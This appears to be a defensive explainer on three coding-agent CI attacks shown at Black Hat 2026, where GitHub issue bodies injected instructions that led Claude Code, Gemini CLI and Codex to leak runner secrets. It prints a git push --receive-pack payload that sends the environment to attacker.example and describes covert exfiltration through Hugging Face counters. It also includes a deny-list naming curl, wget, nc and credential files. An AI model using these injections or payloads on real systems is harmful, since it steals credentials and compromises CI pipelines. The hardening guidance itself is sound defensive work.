GitHub Issue → CI Secrets: The Black Hat 2026 Coding-Agent Attacks
- Understand why a public GitHub issue could reach CI workflow secrets — with no repo permissions on the attacker's side
- Trace CVE-2026-54316: the single-quote strip that let `git push --receive-pack='…'` slip past Claude Code's 23 validators
- Trace CVE-2026-12537: the CVSS 10.0 flaw where a crafted `.gemini/.env` executed on the CI host BEFORE the sandbox started
- See the third pattern (OpenAI Codex + AGENTS.md) that wasn't a CVE but was arguably worse: persistence through the instruction file itself
- Ship a concrete CI hardening checklist — permission scopes, sandbox modes, allowlist enforcement, deny-rules — that stops this whole class of bug
On August 5, 2026, at Black Hat USA, Novee Security's Elad Meged and Pillar Security's Dan Lisichkin demonstrated something the industry had been quietly worried about since coding agents landed in CI: a stranger with no repo permissions can file a GitHub issue and get remote code execution on your CI runner — because the CI workflow you set up to auto-triage issues hands that issue's body to a coding agent as instructions.
Two of the three vulnerabilities got CVEs and patches. All three are the same class of bug: a trust boundary that broke at a handoff between components — validator vs. executor, parent vs. child process, one agent pass vs. the next.
Why this is a new failure mode
Auto-triage looks safe on paper. A GitHub Actions workflow fires on issues.opened, checks out the repo, spins up Claude Code / Gemini CLI / Codex with something like "read the issue body, propose a fix, open a PR." The agent runs in a container, the runner has scoped tokens, everyone feels good.
The problem is that the issue body is prompt — untrusted natural language that the agent will interpret. Prompt injection has been known since 2022. What Novee showed is that even when vendors thought they had it contained (validators, sandboxes, tool allowlists), the handoffs between those layers were unguarded. An attacker doesn't need to defeat any single defense — they slip payload through the seam where one component said "safe" and the next component acted on that.
- If your GitHub Actions workflow calls a coding agent on `issues.opened`, `issue_comment.created`, or `pull_request_target` from unrestricted branches, and you have not upgraded Claude Code to ≥ 2.1.163 or Gemini CLI to ≥ 0.39.1 / run-gemini-cli ≥ 0.1.22, treat your workflow secrets as compromised. Rotate them, then upgrade.
The three vulnerabilities, in one picture
- No fork, no PR, no repo write access — just the ability to file an issue on a public repo. The workflow trigger `issues.opened` fires automatically.
- GITHUB_TOKEN, ANTHROPIC_API_KEY, and any secrets in the workflow's env are now sitting in the runner's environment while the agent runs.
- This is where each of the three vulns diverges — but all three reach the same outcome: attacker code runs on the host with access to the runner's env.
- Novee used Hugging Face's public download counter (increment-per-request) to leak an API key one character at a time — no exotic C2 needed, just a domain the runner already trusts.
CVE-2026-54316 — Claude Code: the single-quote strip
Fixed in: Claude Code 2.1.163 (all 0.2.54 through 2.1.162 affected).
CVSS: v3.1 9.1 (Anthropic rates it v4 6.0 / Moderate; NVD lists 9.1).
Underlying weakness: the command validator strips single-quoted content before running its 23 safety checks. This is bash-correct: bash treats single quotes as literal-only. The problem is that git treats --receive-pack='…' as a flag whose value it will exec on the remote side.
Result: the validator sees an inert command with the payload blanked out; git sees a flag that runs the payload.
The payload shape (illustrative — for defenders, do not run)
git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64)"' origin HEAD
Two things to notice:
- The validators aren't wrong individually. Stripping single quotes is what bash does. Allowing
git pushis what a coding agent must do. Each layer is correct in isolation; the seam between them is the bug. - The exfil channel doesn't need to be exotic. Novee's PoC used
huggingface.co— a domain any coding agent will have on its outbound allowlist — as a covert counter, incrementing the download count of a controlled model repo once per character of the leaked secret. If your egress policy only blocks "obvious" C2, this bypasses it.
The 1.5-year exposure window (fixed August 2026 in a tool that shipped the vulnerable check in early 2025) is the scary part: the bug lived through 100+ releases because nobody was fuzzing the validator against the value semantics of downstream tools.
CVE-2026-12537 — Gemini CLI: the pre-sandbox .env
Fixed in: @google/gemini-cli 0.39.1, run-gemini-cli GitHub Action 0.1.22 (and 0.40.0-preview.3).
CVSS: 4.0 — the perfect 10.0.
CWE: 78 (OS Command Injection) + 20 (Improper Input Validation).
Root cause: in headless CI mode, Gemini CLI automatically trusted its workspace folder and loaded .gemini/.env before the container sandbox came up. A malicious .gemini/.env committed to a PR branch (or dropped into the checkout by a prior step) executed on the host with the runner's full environment — including GITHUB_TOKEN.
There were two compounding failures:
- Automatic workspace trust in CI. In interactive mode you get a "trust this folder?" prompt. In headless mode you got nothing — the workspace was trusted by default, so any repo you checked out could bring its own agent config.
--yolobypassed the tool allowlist entirely — not "loosened it," ignored it. The fine-grainedsettings.jsonallowlist that users had carefully written was compiled out of the runtime path when--yolowas set. Novee dubbed the shape "allowlist parsed only at registration; not enforced at runtime."
The reachability implication was bad: run-gemini-cli had a large install base at time of disclosure, and the token an exploit captured could push to the action's own repo — a supply-chain foothold on ~2M downstream installs if not caught by rotation.
The fix is a breaking change to the trust model: workspaces must now be explicitly trusted, and --yolo still respects the allowlist.
The OpenAI Codex third case — no CVE, arguably worse
OpenAI's Codex received the same class of report but did not issue a CVE — their position is that the sandbox behaved exactly as documented. What Novee showed was a persistence path through AGENTS.md itself:
- Two Codex passes shared one workspace checkout.
- Pass 1 (quarantined, read-only intended) processed the untrusted issue body.
- Injected instructions in the issue body directed Pass 1 to write new content into
AGENTS.md. - Pass 2 (privileged) started, loaded
AGENTS.mdfrom disk as authoritative instructions, and followed the attacker's orders.
The validation gate checked Pass 1's output format, not the filesystem state Pass 1 had left behind. Persistence traveled through the disk, not the data path.
OpenAI's mitigations: separate passes into different jobs (so no shared workspace state) and read-only sandboxes for the validation pass. Both are things you can — and should — configure yourself even on the patched Claude Code and Gemini CLI, because this pattern isn't specific to Codex. Anywhere a multi-step agent workflow shares a workspace with a writable instruction file, the same attack is possible.
The common shape
Defenses that survive the next CVE
Upgrade first — Claude Code ≥ 2.1.163, @google/gemini-cli ≥ 0.39.1, run-gemini-cli ≥ 0.1.22. Then harden the workflow itself so the next handoff bug isn't a crisis.
- `issues.opened`, `issue_comment.created`, and `pull_request_target` from forks put attacker-controlled content into a workflow with your secrets. If you must, gate on a repo-write reviewer label (e.g. `/agent-run` comment from a maintainer) — that adds a human decision back into the loop.
- Set `permissions:` at the workflow OR job level to the minimum (`contents: read`, `issues: write` only if you need to comment). Do NOT leave the default `write-all`. Consider a short-lived fine-grained PAT scoped to one repo rather than the ambient GITHUB_TOKEN.
- Pass 1: read the issue in a job with `permissions: read-all` (or less) and NO secrets. Emit a structured artifact. Pass 2: in a SEPARATE job with the credentials it needs, act on the artifact after schema validation. Never share a workspace between them (this is Codex's own mitigation).
- Configure the agent's own permission system to refuse Env/`.env`/`id_rsa`/`*.pem` reads, curl to unknown hosts, and destructive shell verbs. See the example below and cross-reference [Coding Agents Under Attack](/docs/security/coding-agents-under-attack) for the pattern.
- Self-hosted runners: firewall egress to a small allowlist. GitHub-hosted: you can't fully firewall, but you CAN drop the covert channels — set the agent's tool allowlist so `curl`/`wget`/`fetch` to arbitrary hosts is denied. Do not put `huggingface.co`, `pastebin.com`, or `*.workers.dev` on your allowlist unless you actually need them.
- If any step in your workflow ran on attacker-controlled content, the workspace (including any `.env`, `AGENTS.md`, `CLAUDE.md`, `.gemini/`, `.codex/`) is dirty. Fresh checkout for the privileged pass — or explicit re-validate.
- The exfil in CVE-2026-54316 was one HTTP request per character to `huggingface.co`. A tool-call log makes that a screaming alarm. Without one, it looks like normal agent traffic.
- GITHUB_TOKEN auto-expires with the job, but ANTHROPIC_API_KEY, GEMINI_API_KEY, and any custom secrets do not. If your workflow ran a vulnerable version against attacker content, rotate them regardless of whether you see evidence of use.
A minimum-viable deny-list for a CI agent
Claude Code permission fragment for CI runs (adapt to your setup)
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./**/*.pem)",
"Read(./**/id_rsa*)",
"Read(./**/.git/config)",
"Bash(curl:*)",
"Bash(wget:*)",
"Bash(nc:*)",
"Bash(git push:*)",
"Bash(git remote:*)",
"Bash(rm -rf:*)",
"Bash(chmod:*)"
],
"allow": [
"Read(./src/**)",
"Read(./docs/**)",
"Edit(./src/**)"
]
}
}Note the explicit git push:* deny — that's what closes the CVE-2026-54316 exploitation vector even on a hypothetical future validator bug: the agent never had permission to push in the first place.
A safer GitHub Actions shape
`.github/workflows/agent-triage.yml` — least-privilege pattern
name: agent-triage
on:
# Don't fire on unrestricted 'issues.opened' — gate on a reviewer label
issues:
types: [labeled]
permissions:
contents: read
issues: write # only to comment on the issue
jobs:
# Pass 1: parse untrusted input, NO secrets besides the ambient token
parse:
if: github.event.label.name == 'agent-triage'
runs-on: ubuntu-latest
outputs:
summary: ${{ steps.extract.outputs.summary }}
steps:
- uses: actions/checkout@v4
- id: extract
env:
ISSUE_BODY: ${{ github.event.issue.body }}
run: |
# Emit a structured, schema-validated summary — not raw prompt
node ./scripts/extract-issue-facts.js > out.json
echo "summary=$(jq -c . out.json)" >> "$GITHUB_OUTPUT"
# Pass 2: privileged, in a fresh workspace, on validated data only
act:
needs: parse
runs-on: ubuntu-latest
permissions:
contents: read
issues: write
steps:
- uses: actions/checkout@v4 # fresh checkout — pass 1's workspace is gone
- name: Validate parse output
run: node ./scripts/validate-summary.js '${{ needs.parse.outputs.summary }}'
- name: Run coding agent on validated summary
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
# Agent sees ONLY the validated summary, never the raw issue body
claude --permission-mode plan --input-file summary.jsonThe three structural properties that matter:
on: issues.types: [labeled]+ a check on the label name = a maintainer must add the label, so a random stranger can't fire the workflow.- Two jobs = two workspaces. Pass 1's writes (including any injected
AGENTS.md) don't survive into Pass 2. - Schema validation between passes. Pass 2 receives typed JSON, not raw text, so injection has nothing to inject into.
Check yourself
Check yourself
0/5Sources & further reading
- Novee Security — Black Hat 2026: Critical Flaws in Anthropic, Google, and OpenAI's Coding Agents (primary source, with the attack chains)
- Novee Security — Update to Gemini CLI and run-gemini-cli Trust Model (patch guidance)
- The Hacker News — Claude Code and Gemini CLI Flaws Let a GitHub Issue Reach CI Workflow Secrets
- GitHub Advisory Database — GHSA-jj69-4grx-fqj5 (CVE-2026-12537, Gemini CLI)
- NVD — CVE-2026-54316 (Claude Code)
- CSO Online — Max-severity RCE flaw found in Google Gemini CLI
- GitHub Docs — Hardening for GitHub Actions (baseline for
permissions:andpull_request_targetguidance)
Related on AILmanac
- When Coding Agents Get Weaponized — the sibling class (Friendly Fire + JADEPUFFER); read after this page
- Hardening Autonomous Runs — the general checklist for any unattended agent, not just CI
- Prompt Injection Explained — the underlying mechanism used to reach these seams
- Securing Agents & Tools — permission-scoping patterns
- Reviewing Third-Party Code — the same trust question before you pull in a plugin, skill, or MCP server
- Invisible-Comment MCP Attacks — a related "instruction hidden in data" pattern in a different surface